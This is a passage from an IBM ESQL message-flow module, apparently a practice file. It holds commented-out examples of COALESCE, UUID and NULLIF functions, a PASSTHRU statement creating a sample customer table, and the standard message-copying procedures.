        --CALL CopyEntireMessage();
       
--------------COALESCE Function------------------
        --SET OutputRoot.XMLNSC.COALESCE = COALESCE(InputRoot.XMLNSC.input1,0);
        --SET OutputRoot.XMLNSC.COALESCE1 = COALESCE(InputRoot.XMLNSC.input12,0);
        --  <input1>12</input1>
        ----------------------------------------
        --SET OutputRoot.XMLNSC.employee.(XMLNSC.Attribute)id ='123';
    -------UUIDASCHAR,UUIDASBLOB-------------------
        --SET OutputRoot.XMLNSC.emp = UUIDASCHAR;
        --SET OutputRoot.XMLNSC.emp1 = UUIDASBLOB;
    ------------------------------------------------
    --DECLARE arg1,arg2 INTEGER;
    --SET arg1 = InputRoot.XMLNSC.args.arg1;
    --SET arg2 = InputRoot.XMLNSC.args.arg2;
--SET OutputRoot.XMLNSC.res.res1 = NULLIF(arg1,arg2);
--CASE WHEN arg1=arg2 THEN NULL ELSE arg1 END
    --<args><arg1>2</arg1><arg2>2</arg2></args>
-------------------------------------------------------


PASSTHRU 'CREATE TABLE customer (
  CustomerNumber INTEGER,
  FirstName      VARCHAR(256),
  LastName       VARCHAR(256),
  Street         VARCHAR(256),
  City           VARCHAR(256),
  Country        VARCHAR(256)
)' TO Database.sample;
--PASSTHRU 'DROP TABLE passthru' TO Database.sample;
    END;

 CREATE PROCEDURE CopyMessageHeaders() BEGIN
        DECLARE I INTEGER 1;
        DECLARE J INTEGER;
        SET J = CARDINALITY(InputRoot.*[]);
        WHILE I < J DO
            SET OutputRoot.*[I] = InputRoot.*[I];
            SET I = I + 1;
        END WHILE;
    END;

    CREATE PROCEDURE CopyEntireMessage() BEGIN
        SET OutputRoot = InputRoot;
    END;
END MODULE;